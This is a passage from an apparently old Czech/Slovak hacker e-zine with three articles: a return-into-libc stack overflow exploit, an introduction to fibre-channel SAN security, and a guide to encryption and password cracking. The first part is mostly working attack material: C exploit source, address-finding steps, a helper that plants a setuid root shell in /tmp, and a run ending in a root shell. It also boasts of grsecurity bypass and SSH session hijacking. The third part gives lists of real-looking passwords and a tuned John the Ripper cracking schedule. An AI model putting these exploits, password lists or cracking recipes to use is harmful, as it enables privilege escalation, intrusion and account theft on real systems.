+-----------------+- 0xbffffba8
| retaddr | navratova adresa kam ma pak execve() skocit (neni ji treba, ale
| | execve() pocita s tim ze je volano instrukci 'call' a tudiz musi byt)
+-----------------+- 0xbffffbac
| arg1 pro execve | hodnota prvniho argumentu pro execve(), v nasem pripade argv[1]
+-----------------+- 0xbffffbb0
| arg2 pro execve | hodnota druheho argumentu pro execve()
+-----------------+- 0xbffffbb4
| arg3 pro execve | hodnota tretiho argumentu pro execve()
: :


pro hodnotu arg1 potrebujeme nejaky retezec ukonceny nulou (ktery jen tak nevyrobime),
takze nejvhodnejsi bude argv[1]. takhle ji zjistime:



sd@devastace:~$ gdb -q ./vuln
(gdb) break main
Breakpoint 1 at 0x804849d: file vuln.c, line 10.
(gdb) r /tmp/sush
Starting program: /home/sd/vuln /tmp/sush

Breakpoint 1, main (argc=2, argv=0xbffffe44) at vuln.c:10
10 vulnerable();
(gdb) print/x argv[1]
$1 = 0xbfffff1d


je dost mozne ze hodnota bude o neco mensi/vetsi mimo gdb, pokud to segfaultne, vylistuj
si core a skus x/s okolo hodnot co si tady dostal dokad nenajdes "/tmp/sush" (s krokem
po 8mi) v mem pripade to nakonec bylo 0xbfffff09.



hodnoty arg2 a arg3 muzou bejt but 0, coz v nasem pripade neni
mozne, a nebo muzou ukazovat na misto v pameti kde je 0. takove misto najdeme snadno,
zpravidla se nachazi primo v kodove sekci programu _init:



sd@devastace:~$ objdump -d vuln | grep -A 10 "<_init>"
080482e0 <_init>:
80482e0: 55 push %ebp
80482e1: 89 e5 mov %esp,%ebp
80482e3: 83 ec 14 sub $0x14,%esp
80482e6: 53 push %ebx
80482e7: e8 00 00 00 00 call 80482ec <_init+0xc> <-- tady
80482ec: 5b pop %ebx
80482ed: 81 c3 0c 13 00 00 add $0x130c,%ebx
80482f3: e8 94 00 00 00 call 804838c <call_gmon_start>
80482f8: e8 17 01 00 00 call 8048414 <frame_dummy>
80482fd: e8 a2 01 00 00 call 80484a4 <__do_global_ctors_aux>



takze, v nasem pripade to bude 0x80482e8 pro arg2 a arg3.
posledni hodnota, kterou nas exploit bude potrebovat je kde presne se v dane
chvili (na jake adrese) nachazi funkce execve(). to se zjistit treba takto:



sd@devastace:~$ ./vuln
0xbffffbd0^Z
[1]+ Stopped ./vuln
sd@devastace:~$ ps | grep vuln
409 tty2 00:00:00 vuln
sd@devastace:~$ cat /proc/409/maps | grep libc | grep r-xp
4001c000-4012f000 r-xp 00000000 03:01 291480 /lib/libc-2.2.5.so
sd@devastace:~$ nm -D /lib/libc.so.6 | grep execve
000a0eb0 W execve
sd@devastace:~$ gdb -q
(gdb) print/x 0x4001c000+0x000a0eb0
$1 = 0x400bceb0


zkratka vememe adresu dynamickeho symbolu (nm -D) z libc a pricteme ji
k realne adrese kam se zrovna libc namapovalo. (btw, toho se da napr vyuzit
pri exploitovani na grsecurity kde je zaple umistovani libc na nahodne adresy,
vetsinou se proste staci prizbusobit aktualni situaci z /proc/<pid>/maps :)
takze execve() by melo byt na adrese 0x400bceb0.


takze jak bude vypadat nas evil buffer:


pop %ebp execve() retaddr arg1 arg2 arg3 vypln nase %ebp fixnuta ret
| | | | | | | | |
["AAAA"][0x400bceb0]["AAAA"][0xbfffff09][0x80482e7][0x80482e7][..488x"A"..][0xbffffba0][0x80484a2][0]
|_________________________________________________________________________|______________________|
| |
512 bajtu buffer 8 bajtu navic



no a tady je exploitik:



sd@devastace:~$ cat ex.c
#include <stdio.h>
char *tob(unsigned long a)
{
char *p = malloc(5);
sprintf(p, "%c%c%c%c", a&0xff, (a>>8)&0xff, (a>>16)&0xff, a>>24);
return p;
}

int main(int argc, char *argv[])
{
int i;
unsigned long execve_addr, arg1, nul, ebp, fixret, pad;

if (argc != 7) {
printf("use: %s execve_addr arg1 nul ebp fixretn", argv[0]);
return 1;
}
sscanf(argv[1], "%x", &execve_addr);
sscanf(argv[2], "%x", &arg1);
sscanf(argv[3], "%x", &nul);
sscanf(argv[4], "%x", &ebp);
sscanf(argv[5], "%x", &fixret);
sscanf(argv[6], "%x", &pad);

printf("AAAA%sAAAA%s%s%s%0488x%0.*x%s%sn",
tob(execve_addr), tob(arg1), tob(nul), tob(nul), 0, pad, 0, tob(ebp), tob(fixret));
return 0;
}



a tohle je pomocna aplikace pro /tmp/sush

sd@devastace:~$ cat sush.c
#include <stdio.h>

int main(int argc, char *argv[])
{
setuid(geteuid());
printf("bug exploited sucessfuly. enjoy!n");
fflush(stdout);
system("cp /tmp/sush /tmp/sh; chmod 6755 /tmp/sh");
if (argc > 1)
system("/bin/sh");
}


a takhle to pak vypada:


sd@devastace:~$ su
Password:
devastace:/home/sd# cc vuln.c -o vuln
/tmp/cc0EynxZ.o: In function `vulnerable':
/tmp/cc0EynxZ.o(.text+0x2b): the `gets' function is dangerous and should not be used.
devastace:/home/sd# chmod +s vuln
devastace:/home/sd# exit
exit
sd@devastace:~$ cc ex.c -o ex
sd@devastace:~$ ./ex 0x400bceb0 0xbfffff09 0x80482e8 0xbffffba0 0x80484a2 8 | /home/sd/vuln /tmp/sush
bug exploited sucessfuly. enjoy!
sd@devastace:~$ /tmp/sh 0wned
bug exploited sucessfuly. enjoy!
cp: cannot create regular file `/tmp/sh': Text file busy
sh-2.05a# rm -f /tmp/sh /tmp/sush
sh-2.05a# exit
exit
sd@devastace:~$


jeste jsem zapomel dodat vyznam hodnoty 'pad'. je to vzdalenost mezi mistem kde je
ulozene %ebp a koncem bufferu 'buf'. vetsinou to zalezi na gcc a -O optionech
a nebyva to velka hodnota (da se odladit/bruteforcnout).



ostani metody


tato metoda se da pouzit na jakykoliv znamy utok jez dokaze prepsat neco na stacku/jinde v
pameti, tzn stack overflowy, format string bugy (menis hodnoty v nadrazenem stack frejmu),
a i pro malloc() heap overflowy (zmenit %ebp na stacku kdyz jsi ve free()->chunk_free()).
pro tyto metody je to o neco slozitejsi ale v zasade princip zustava stejny.
horsi to je s programy ktere jsou prekompilovany s -fomit-frame-pointer.

takoveto programy nemaji nikde ulozene %ebp, coz znacne komplikuje situaci. resi se to tak
ze se zmeni navratova adresa funkce tak, aby se "opomenula" operace release stack
framu (mov %ebp, %esp/ret) a pouzil se ten stary, ale toto uz je znacne komplikovane.


obrana


pokud se na to podivame ze strany bilych figurek, castecne reseni je
zapnout nahodne adresy pro stack a code/data base (pax a grsecurity to umi)
v pripade code/data base to vyzaduje mit prekompilovane programy s
-fPIC, ale jde to. toto znacne ztezuje (ale nikoliv znemozni!) exploitnuti
remotnich bugu.


zaverem


co rici na zaver? rozhodne se nepokousim naznacit ze grsecurity & co. sou k nicemu.
to zdaleka ne. jak je videt je treba znat spoustu hodnot (temer to znemoznuje vzdalene
utoky, a nebo je to tak 10x/15x prodlouzi pri bruteforcovani hodnot). spoustu lidi to
odradi, vetsina exploitu, tuto techniku vubec nepouziva - je to prilis komplikovane.
ale rozhodne to neodradi ty co si daji zalezet - zaver tedy je ze se nelze na non-exec
stack/heap systemy spolehat. videl jsem to uz chodit na solaris (x86) a dokonce
i na solaris/sparc, linux/mips, linux/arm a linux/alpha. diky sve povaze (temer vsecky
architektury pouzivaj frame pointer) to jde skvele portovat (na architekturach
kde stack roste smerem k vyssim adresam se prepise "ebp" primo v overflowovacich
funkci, v nasem pripade by to byl gets())


kdo stale neveri, tohle je jedna nedavna prihoda:

jeden nejmenovany server v jedne nejmenovane instituci, roztomile zafirewallovany
a pouzivajici grsecurity. diky bugu v cyrrus imapd a exploitu pouzivajicim tuto
techniku remote root. ale ouha, pseudo-root nemuze psat do /bin a nemuze browsovat /home.
ovsemze grsecurity a jeho access listy. ale jelikoz sitovy demon byl v grupe s ostatnima
co muzou pouzivat raw sockety nebyl problem nahodit 7350ssharp a zachytavat a
presmerovatat ssh sessny nekam jinam :) pak uz jenom staci pockat az se logne root
a da nam password od gradm :)

takze ackoliv jsou tyto patche mocne nastroje, neni to nic platne jsou-li v rukou
hlupaku co si je ani nevi poradne nastavit.



sd, sd(at)hysteria.sk




navrat na obsah

co ty na to ? board






uvod do storage security



uz ste si niekedy stiahli cd-ecko za 5 sekund krizom cez mesto ? ak nie tak racte vstupit do sveta storage area sieti
kde bity pobehuju rychlostou dva giga za sekundu na vzdialenosti desiatky kilometrov a kde sa diskovy priestor rata na
terabajty ak nie rovno na pentabajty... a do sveta kde obcas vladne anarchia a bezpravie..



az do nedavna nikoho nenapadlo mysliet velmi nad storage security, lebo sa vo vypoctovych strediskach data ukladali do
izolovanych diskovych poli pripojenych priamo k serveru. dnes ale frci trend prepajania zariadeni na ukladanie dat do
velkych storage area network (SAN) sieti. su to siete, ktore sa skladaju zo zariadeni komunikujucich cez seriovy SCSI
protokol, ako napriklad fibre channel alebo iSCSI. tento dokument je pokus o strucny uvod do bezpecnosti prave
fibre-channel SAN sieti a vedzte ze pokial si prislusny administrator nie je vedomy toho ze by sa mal zaoberat
bezpecnostou, je v takom stave ako v IP svete v roku nula - kazdy vidi kazdeho, hocikto si zapisuje hocikam, proste
anarchia-hole-baby... niezeby neboli sposoby a nastroje na zabezpecenie SAN sieti - ono je to skor tym ze admini nie su
zvyknuti zaoberat sa bezpecnostou storage zariadeni. totiz vacsinou bola security diskovych poli vyriesena ich
absolutnou izolaciou od okoliteho sveta. to sa vsak veelmi meni. staci ak sa hacker dostane na server pripojeny do
takejto SAN siete a po_pazi_front.. ale asi by bolo dobre najsamprv zadefinovat nejake hlavne pojmy zo sveta SAN a
storage zariadeni vobec, takze press any key to start game..



diskove polia a kniznice



klasicke diskove polia je mozne rozdelit do niekolkych kategorii. najjednoduchsie su take prihluple krabicky kde je na
jednej SCSI loope prepojenych velke mnozstvo diskov - tie sa volaju tzv. jbod (just-a-bunch-of-disks) polia. ak chcete
mat na takomto poli raid-ovane disky, co sa vseobecne poklada za rozumnu vec, tak raid musi ratat server. kedze je
blbost zatazovat slusny server takymito podradnymi robotami, vacsina poli ktore sa dnes predavaju uz maju vlastny raid
controller. samozrejmostou uz je tiez to ze pole ma vlastnu cache, idealne zrkadlenu vramci jedneho pola, alebo medzi
viacerymi poliami. no a potom su aj take velke megalomanske diskove polia pozostavajuce zo standardneho unixoveho
servra v clustri oblepeneho mrtami diskov ( = ibm shark napriklad). disky byvaju scsi, alebo fc (fibre-channel). aha a
este tu mame NAS (network attached storage) krabicky, co su diskove polia so schopnostou posadit sa na ip siet a priamo
ponukat svoj diskovy priestor prostrednictvom beznych IP sluzieb (nfs, ftp, samba, atd.). da sa povedat ze na trhu
nastava konvergia SAN a NAS poli do jedneho kombinovaneho produktu, co je samo o sebe vlastne tiez bezpecnostny problem
(pole je vystavene na LANke a zaroven pripojene do SAN).



do SAN sieti sa bezne pripajaju aj paskove mechaniky ci paskove kniznice s robotikou. kedze kniznice su tradicne SCSI
zariadenia, do SAN sieti sa pripajaju cez SCSI-to-FC bridge, na trhu su ale uz aj kniznice priamo s FC mechanikami. ak
je paskova kniznica pripojena priamo do SAN znamena to ze zalohovaci system pravdepodobne podporuje tzv. servless
backup, cize prenos dat priamo z diskoveho pola na kniznicu. druha pouzivana moznost je pripojit kniznicu na dedikovany
zalohovaci server (cez SCSI) a ten server potom supnut FC adapterom do SAN, to sa vola lanfree backup.



FC switche



FC switch robi v podstate to co robi normalny ethernetovy switch. switche sa vacsinou predavaju bez GBIC modulov ktore
konvertuju optiku na metaliku, tie sa pestuju v dvoch odrodach - short wave moduly pre multi-modove opticke vlakna (pre
vzdialenosti do 250m) a long wave moduly pre single-modove opticke vlakna (do 100km). FC switche mavaju mnozstvo
funkcionality vratane zonovania (nieco ako VLANy na ethernetovych switchoch), ale o tom neskor..



ic, ni, SAN, ci



v tradicnom modeli mal kazdy server vlastne diskove pole a tak mali firmy kopec izolovanych ostrovcekov dat, ktore sa
museli individualne menezovat, upgradovat - no proste chapete - roboty ako na kostole a ked im doslo miesto na diskovom
poli tak ho museli ritualne znicit-spalit-zahodit a kupit vacsie. kedze vtedajsia SCSI technologia neumoznovala tahat
kable medzi serverom a polom na velke vzdialenosti (len cc do 10-15 metrov) a rychlosti tiez neboli bohvieco (do
40MB/s), nikoho nenapadlo nic lepsie ako budovat megalomanske tonu-vaziace krabice ktore uz som tu ohovaral. ale prisla
fibre channel technologia so slusnou priepustnostou (najprv 100MB/s, teraz dva-krat tolko), so schopnostou tahat linky
do vzdialenosti cc 100 kilometrov; a s nou hned aj napad pospajat vsetky tie izolovane ostrovceky dat do jednej
dedikovanej siete, kde sa da viacero diskovych poli nakumulovat do jedneho velkeho diskoveho priestoru, alebo naopak
jedno diskove pole rozdelit a pripojit viacerym serverom. SAN siete su jednoducho o centralizacii vsetkych dat, o
poskytnuti rychleho pristupu na tieto data, a o jednoduchom menezmente pristupu k tymto datam.


pocas kratkej historie SAN fibre channel sieti ich zatial vacsina adminov vnimala ako "prirodzene bezpecne"... hlavne
koli tomu ze sa jedna o dedikovane siete zabezpecujuce len prenos dat medzi servermi a diskovymi poliami, pripadne
paskovymi kniznicami.. FC technologie ale zazivaju nevidany boom, meta group (www.metagroup.com) avizuje ze do roku
2008 bude 70 percent podnikovych zariadeni na ukladanie dat pripojenych cez fabric. dnes uz ani na slovensku nie su
vynimkou SAN siete ktore maju radovo tucty FC switchov, terabajty diskovych poli a obrovske paskove kniznice. fc
technologie sa dostavaju na masovy trh a mozno nebude trvat dlho kym bude stat fc switch tolko ako ethernetovy.. cisco
uz napriklad vypustilo ruter ktory podporuje IP aj FC (sn5428 storage router).. coskoro bude fc SAN v kazden vacsej
firmicke.. tento trend, spolu s faktom ze sa do SAN sieti coraz castejsie zapajaju aj IP-ficiace storage zariadenia,
sposobi nevidane mnozstvo novych bezpecnostnych chyb a exploitov. technologie ako virtualizacia a poolovanie storagov
otvoria tiez nejake tie dodatocne dvierka v bezpecnosti, nehovoriac uz o viziach vzniku service providerov ktori budu
ponukat priestor na svojich diskovych poliach pomocou fibre channel pripojeni.



members only



dostat sa do SAN siete nemusi byt az take tazke, ako by sa na pohlad zdalo. jasne ze hacker moze tazko mat priamo
pristup do fibre channel SAN, ale moze sa dostat na server, ktory je sucastou SAN siete. z tohoto pohladu prave servre
pripojene do SAN v nich tvoria najvacsi bezpecnostny problem. pokial si to administrator specialne nenastavi, SAN siet
bude vyzerat tak ze je vramci nej vsetko viditelne. ano, su tu nastroje ako zonovanie ci lun masking (o ktorych bude
rec neskor), ale zatial sa nie vzdy a vsade pouzivaju. mozno je to aj koli tomu ze stale je na trhu este dost fc
zariadeni ktore tieto nove ficurie nepodporuju.. ak teda hacker ziska pristup na jeden pocitac vramci SAN, je mozne ze
uvidi vsetky data od uctovnictva, cez platy/mzdy az po zalohy na paskovych knizniciach.



na SAN sieti je samozrejme mozne aj sniffovat, aj ked je to kusok narocnejsie ako v ip sieti. zatial nie je velmi
obvykle aby sa data na SAN sietiach sifrovali. nepocul som o tom aby niekoho napadlo sifrovat prenos dat medzi serverom
a diskovym polom.. azda len backupovaci soft (napr. veritas netbackup, tivoli, legato) podporuje kryptovany presun dat
po SAN sieti, pripadne ukladanie kryptovanych dat na zalohovacie media. ktovie ako sa to vyriesi v buducnosti ked budu
SAN siete narastat do obrovskych rozmerov.. SAN je totiz hlavne o rychlosti a sifrovanie by riadne pribrzdilo tok dat..
viete si predstavit server ktory by stihal rozumne sifrovat/desifrovat dajme tomu 150 MB za sekundu ?



dalsou moznostou by boli DoS utoky, ktore by bombardovali SAN tolkymi poziadavkami, ze by ho proste zhodili z vlny.
toto by si ale vyzadovalo upravu drivera na fc karte a to urcite nie je elementarna vec.. ale mozno je len otazkou casu
kym sa vo phracku zjavi prislusny code..



zakladne dva nastroje na zabezpecenie SAN siete su zoning a LUN (logical unit number) masking. zoning je metoda
particiovania ktora zabezpeci viditelnost len tych storage zariadeni, ktore ma uzivatel dovolene vidiet. zona moze
obsahovat servre, storage zariadenia, subsystemy (napr. len cast diskoveho pola, alebo jednu mechaniku z
viac-mechanikovej kniznice), switche, hba (host based adaptery - napriklad PCI FC karta v servri), pripadne ine
komponenty. clenovia zony mozu komunikovat len s ostatnymi clenmi tej istej zony. zonovanie sa najcastejsie definuje na
switchoch. hard zoning je proces definovania zon podla portov na switchi. komunikacia z nedovolenych portov samozrejme
vobec do prislusnej zony neprejde. kedze je hard zoning implementovany na relativne nizkej urovni samotnych switchov a
rutovacich tabuliek, poklada sa za bezpecnejsi ako soft zoning. ten je vo svete fibre channel zalozeny na world wide
names (WWN). WWN je unikatny identifikator ktory sa prideli kazdemu FC zariadeniu. pri soft zoningu zabezpecuje
software to, aby medzi WWN-kami z roznych zon neprislo k ziadnej komunikacii. soft zoning je flexibilnejsi ako hard
zoning a odporuca sa hlavne v sietiach s hektickym zivotom plnym rekonfiguracii, novych zariadeni, atd. niektore
switche maju funkciu port binding ktora umoznuje zadefinovat aby len urcite zariadenia v sieti mohli komunikovat na
preddefinovane porty na switchi. takto sa da napriklad obmedzit pristup na diskove polia z len zadefinovanych serverov.
potom sa nemoze stat ze sa utocnik pripoji do SAN siete cez volny port na switchi a pod.



druhy spominany nastroj je LUN masking. LUN je SCSI identifikator na logicku jednotku vo vnutri storage zariadenia, ako
napriklad na disk v diskovom poli, alebo paskova mechanika v zalohovacej kniznici. vo svete fibre channel sa zadeluju
LUN-y na zaklade systemovych WWN-iek. ak je na jedno storage zariadenie pripojenych viacero servrov, LUN masking na
danom storage zariadeni zabezpeci aby kazdy server videl len jeden prislusny LUN, alebo jednu zadefinovanu skupinu
LUNov. zabrani sa tak napriklad tomu, aby viacero servrov zapisovalo na to iste diskove miesto. rozne formy LUN
maskingu sa daju zadefinovat na servri, HBA, storage controlleri, diskovom poli, ci na switchi.


logout


mnoo tolko na uvod. podla reakcii na tento clanok by sa mohol pripadne spravit taky druhy diel, kde by boli nejake
konkretne situacie, topologie, prikazy (solaris) a tak.. cize dajte vediet zaujem..



ramirez, ramirez(at)hysteria.sk




navrat na obsah

co ty na to ? board






problem desifrovania normalizovanych dat



Jemny uvod do problematiky



Na uvod, len tolko ze slobodu a sukromie mame vsetci, ale vacsina si ju vobec nevazi
a nechrani, snad nemusim pisat preco.



Takze k pouzitym vsetkym dobre znamym pojmom



Sifrovanie (Encryption) je proces, ktory z bezpecnostnych dovodov koduje zrozumitelnu
informaciu do nezrozumitelnej formy.



Desifrovanie (Decryption) je opacny proces kodovania cize dekodovanie informacie do
zrozumitelnej formy.



Hasovanie je vytvorenie kontrolnej informacie. V podstate ide o vytvorenie akejsi znacky
poukazujucej na pravost obsahu (message digest).




    Jednocestne hasovanie (One-way hash)

    Ide o algoritmus, ktory z textu zpravy vytvory retazec pevnej dlzky, nazyvany
    mesage digest (vytah zo zpravy). Ten je obycajne pouzivany z dovodu bezpecnosti
    alebo riadenia datoveho toku. Jednocestnost znamena to, ze je to nevratne
    (nereverzibilne) teda z retazca nie je mozne ziskat spat povodnu informaciu. V praxi
    sa algoritmus pouziva napr. pre vytvorenie digitalneho podpisu pri ktorom si prijemca
    moze porovnat pripojeny retazec s retazcom, ktory je obsiahnuty v zasifrovanej casti
    a moze si tak overit ci sprava nebola sfalsovana (hashcheck).


    Obojcestne hasovanie

    Je jednoducho reverzibilne...




Niektore normalizovane algoritmy



DES

Data Encryption Standard (DES) je symetricky sifrovaci algoritmus vyvinuty IBM
v 70 rokoch zdokonalenim algoritmu LUCIFER. V roku 1976 bol vybrany ako standard. Je
zalozeny na matematickej permutacii s 56 bitovym klucom. Desifrovanie je uskutocnovane
inverznou funkciou z rovnakym klucom. Z hladiska bezpecnosti sa dnes skor doporucuje
pouzit 3DES (troj prechodovy DES s klucom 112 alebo 168 bitov). Existuju samozreme
modifikacie ako Kerberos AFS, BSDI....


GOST

Symetricky sifrovaci algoritmus vyvinuty sovietskym zvazom s 256 bitovym klucom



MD5

MD5 je jednocestna hasovacia funkcia vytvorena profesorom Ronaldem L. Rivestom
v roku 1991.

Algoritmus MD5 vytvara z lubovolne dlheho vstupu 128 bitov dlhy message digest
(retazec). Je odhadovane, ze je prakticky nemozne vytvorit dve spravy, ktore by mali
rovnaky message digest alebo vytvorit spatnu spravu zo znameho digestu. Zmyslom
algoritmu MD5 je overenie integrity dat.


MD4 , MD2

MD4 je jednocestna hasovacia funkcia vytvorena profesorom Ronaldem L. Rivestom
v roku 1990.

Algoritmus MD4 a MD2 podobne ako MD5 vytvara z lubovolne dlheho vstupu 128
bitov dlhy message digest


RSA

Sifrovacia metoda RSA patri do skupiny asymetrickej kryptografie s verejnym klucom
a je dnes pouzivana v mnoho implentaciach SSL. Metoda je vhodna pre sifrovanie zprav i pre
digitalny podpis. Dlzka kluca je obvykle 1-4 kB

Skratka RSA vychadza z mien badatelov, ktori algoritmus navrhli. Boli to Ron
Rivest, Adi Shamir a Len Adleman.


RIJNDAEL

Blokova sifra s 128 alebo 256 bitovovym klucom. Od roku 2000 standardizovana ako
AES (Advanced Encyption Standard). Nazov je zlozeny s mien tvorcov algoritmu
Vincent RIJmen a Joan DAEmer


SKIPJACK

Symetricky sifrovaci algoritmus s 80 bitovym klucom


SHA

(Secure Hash Algorithm) je jednocestna hasovacia funkcia vyvinuta instituciou
National Institute of Standards and Technology (NIST). Viac na http://www.nist.gov .
Algoritmus vytvori zo spravy 160 bitov dlhy message digest. Ten je pouzivany ako
digitalny podpis spravy a sluzi na overenie pravosti. Prijemca uskutocni pre prijatu zpravu
rovnaky vypocet a ak nesuhlasi doruceny message digest s vypocitanym, zprava bola cestou
modifikovana.


IDEA

(International Data Encryption Algorithm), predtym znama ako IPES (Improved
Proposed Encryption Standard).

Algoritmus vytvoril Xuejia Lai a James L. Massey, z ETH Zurich v 90 rokoch.
IDEA je blokova sifra pouzivajuca 64-bitovy blok a 128-bitovy kluc. Zalamuje 64-
bitovy cipher blok do styroch 16-bitovych slov.


A3, A8 nazyvany tiez A38

Autentifikacne algoritmy nachadzajuce sa na SIM karte pre overenie "pravosti"
uzivatela pouzivana vo vasich mobiloch. Vstup je nahodne cislo RAND (128 bitov), kryptuje
sa klucom Ki (128 bitov), A3 vygeneruje odpoved SRES (32 bitov). A8 vytvara na zaklade
Ki a RAND sifrovaci kluc Kc (64 bitov, teda ehm vlastne len 54 bitov a 10 nul, ze by niekto
nemal na vykonnejsie zelezo :) sluziaci pre prudove sifrovanie XOR. Avsak pozor volba A3
a A8 algoritmu je na operatorovi a vacsina operatorov si vybrala COMP128. Kto klonoval
karty sa s tym stretol.


A5

Algoritmus sluziaci ku generovaniu hesla prudoveho sifrovania XOR mobilnej
komunikacie (Mobil-BTS). Vstupom A5 je sifrovaci kluc Kc a cislo TDMA ramca. Princip je
na trojici posuvnych registrov so spatnou vazbou, oznacovanou tiez LFSR (Linear Feedback
Shift Register). Vystup A5 je dvojica hesiel dlha 114 bitu.(jedno M->BTS a druhe M<-BTS|



Niektore bezne postupy pre spristupnenie dat


Pri desifracii mozme vyuzit slabiny algoritmov (napr. nehomogenitu v boxoch),
zjednodusenia algoritmov na elementarne operacie typu XOR,NOT,OR,AND, faktorizaciu
a informacie o vnutornom obsahu (vlastnime jeden zo suborov s archivu, pozname prve znaky
suboru -header, atd), informacie o subjekte ktory generoval password alebo frekvencny
vyskyt znakov. Cosi som nacrtol v prispevku Psychologia a ine aspekty passwordov V.2.0
v ktoromsi s prielomov a cosi pridavam:


Modifikacia cisel a slov

m11833,me1108,ou812,sk1552,usk004,usk136,vig387,usk112,uni117,usk118,d111111,gogo0
07,sokol321,sokol123,filip200,f106a,d106a,rado1720,Misko123,15StraNa


A dve cisla na zaver

luck10,csms99,nate62,clay10,enve00,chevy59,Sept10,tall22,arch21,alan18,splav99,martin00,
semi01,ivan66,ivan25,katy99,michal12,evit12,bartis19,saraz23,Hammer22


Zname osobnosti

Monette,jakes,Jesus,Caesar,amadeus,lucas,abraham,cezar,darwin6,.kennedy,.merlin,miklosko
,ezechiel,tesla, suster,belohorska,svoboda,muller,warhol


Mena

Crespin,Cooney,Michael,chris,Jessica,Nicole,Jordan,Robert,Matthew,Dolphin,Jeremy,Jessie,j
essica,boris,monica,Steven,lisa,Patrick,Melissa,jerry,
mirecek,janek,lukasek,milanek,viktoria,winston,Jennifer,robko,jergus,BENNY,PETER,valsor
im,vokedorb,MichalJ,ODUL,OKTAJBUK,


Trochu rafinovanosti a Ludova tvorivost

jc1cas,p00piE,pbioloG,lacolarr,horty1,yago1z,grcbus2,Maximax,thx1138,tosomja,kokotik,Sib
0la,pkcomp,gls4b198,kot20uj,ckturiec,blablabl,tom20ksv,kokotina,csf3700a,lixxtrix,macho2*
,maco.1,radon$$,
arlyAR,Spolok1.,3abm581,3e41cd,3rilu3,Al13Fe26,Ic8&Ho2,IvsRee98,Jssn4319,LTSW626,


Celkom bezne slovicka :)

lchers,macinteg,esquivel,wburghau,GinnyG,apolizzi,caviness,Black1,Lakers,sloniik,boogieda
,Princess,drizzt,Smile,Safety,st0per,sueses,ganja,brontici,
rehulka,chvenie,,avohcrav,litnes,vokinaps,


Niekto prilis vela cita :)

password,Dragon,Password,Mickey,sunshine,Scooter,gandalf,Bandit,wizard,runner,bond007,
Harley,beavis,maverick,Hlava22,kermit,venividi,Chicken,
Raider,Avalon,Starwars,Diablo,smok,southpar,hafanana,Eternity,MiB1979


Zvieratka

Mustang,tigger,mustang,potkan,sova,baran,bacil,havran,jastrab,kapor,kaciatko,panthers,zajac,
zabka,scorpion,tchor,chameleo,kone,kohut,kacka,Krtko%


Volba sposobu

V suboroch



Subor systemoveho typu

SAM File a napr. sietova autorizacia oknowsov 95-8


Postup krokov treba pouzit obdobny ako pri Passwd s UNIXov. >
LM HASH - DES

Pouzite LC4 a brute force do max 18 dni mate vsetko :) Ale skor pouzite A-9 je to len 6h.
Nezabudajte ze ak pouzivate slovnik, staci do 7 znakov.

Alebo na unixe dkbf je distribuovatelny a je to rychlejsie ak mate dost zeleza k dispozicii,


NTLM HASH - MD4

LC4 brute force do max rok, tak asi treba iny postup :)

Na unixe dkbf je distribuovatelny a cosi to riesi.


Passwd z UNIXov

Software do dlzky 8 je asi najlepsi john a jeho modifikacie.


Pouzivam nasledujuci postup, ktory je zoradeny z hladiska casu jednotlivych krokov a ich
vytaznosti.



DES


-w:password.txt To je subor s doposial najedenymi heslami (1 m) (? %)
-w:password.lst To je pribalene k dodavke:) (1 m) (? %)
-w:all_1.txt Vsetky 1 znakove (1 s)
-w:all_2.txt a dvoj (10 s)
-w:all_3.txt a troj pre istotu. (40 m)
-single Ale s upravenym INI (6 h) (20 %)
-rules -w:mena.txt Krsne a samo medzinarodne (1 h) (4,2 %)
-w:cisla.txt Slovnik s datumamy a cislami (1 h)
-rules -w:dict5-8.txt 35 MB slovnik a upraveny INI (30 d) (40 %)
-incremenatal:Digits 5-8 znakov (4 d)
-incremenatal:All 4 znaky (3 d)

Zaklad je co najskor najst jednoduche aby zbytocne nespomalovali dlhsie kroky.

Vzorka bola 27877 a celkova uspesnost doposial 79,94 %.



MD5 a dalsie

Postup je obdobny ale casi omnoho dlhsie takze treba zvazit najma co je v slovnikoch.

Vzorka bola 2117 a celkova uspesnost doposial 33,77 %.



Subory datoveho typu

Utoky slovnikmi sa mi doposial neprejavili ako ucinne i ked ich skusam, takze som
ich ani nezaradoval.



Podla pripon



Ace (AAPR 2.10)


    - Brute force attack (14800 p/s/c)


Arj (YAAC 1.0)


    - Stor ARJ (V praxi nepravdepodobne)

      - na pockanie

    - Brute force attack (10 mil p/s/c) Do 11 miest ste v reale.


Rar

    - Instant attack nesifrovanym suborom (zial rychlost je ako pri BF)

    - Brute force attack (1200 p/s/c)

    ---------------------------------
    | Dlzka | 5 6 7 :) |
    |---------------------------------
    | Cas | 88d nekonecno |
    ---------------------------------


Zip (AAPR 2.11)

    - Normal ZIP

    Mam jeden subor z archivu rozpakovany

    (Metoda najcastejsie uplatnitelna pri zakomprimovanych instalackach)


      - Instant attack nesifrovanym suborom (30m)

        - Password from keys

        -----------------------------------
        | Dlzka | 11 12 :) |
        |-----------------------------------
        | Cas | 14m 21h nekonecno |
        -----------------------------------

      - Slovnikovy utok

        - Brute force attack (7,7 mil p/s/c)


    -Win ZIP

      - Instant attack (37m)

        - Password from keys

        ---------------------------------------
        | Dlzka | 5 6 7 :) |
        |---------------------------------------
        | Cas | 14m 1d2h 106d nekonecno |
        ---------------------------------------


Pdf (APPRP 2.12/1.7) 40-bit RC4 (PDF 1.2/1.3, 4.0<=), 128-bit RC4 (PDF 1.4, 5.0)

    - (Bez pluginov)

      Instant attack - key search (11 dni / 1 cpu) (1,9 mil p/s/c)



    - Brute force attack (7,7 mil p/s/c)



    - (S pluginom FileOpen alebo BPTE_rot13

      Brute force attack (130 tis p/s/c)



    - (S pluginom PDF Merchant, EBX digital rights mang. schemes, SoftLock)




DOC symetricka sifra RC4



    - Instant attack - key search (12 dni / 1 cpu) (1 mil p/s/c) (1,099,511,627,776 k.)


    - Brute force attack (380 RC4 280 CSP tis. p/s/c)



XLS symetricka sifra RC4


    - Instant attack - key search (12 dni / 1 cpu) (1 mil p/s/c) (1,099,511,627,776 k.)


    - Brute force attack (320 tis. p/s/c)




No uz mam pisania akurat dost, takze:

- U ostatnych suborov postupujeme obdobne.

- Pokial neexistuje soft tak si ho nakodime (trebars aj ked enkrypcne rutiny slohnete priamo
s EXE kodovacieho SW)

- Pokial to dlho trva, optimalizujeme a distribujeme a multiprocesorujeme a multithrejdujeme
...



P.S. Niektori admini tvrdia ze vraj generatory su bezpecne :)


!$2NUA2RYQ@5,!7D!6QAC+B7F,!9BA79RW@DY$,!G49KR7^E@NV,!K4DH~H2^Y7J,
!V9T9R^T6^FB,#NA6A+~7QTJ5,$N@Q2#D2YKG2,%!S79J5H+BQZ,%F%DCY767J=Y,
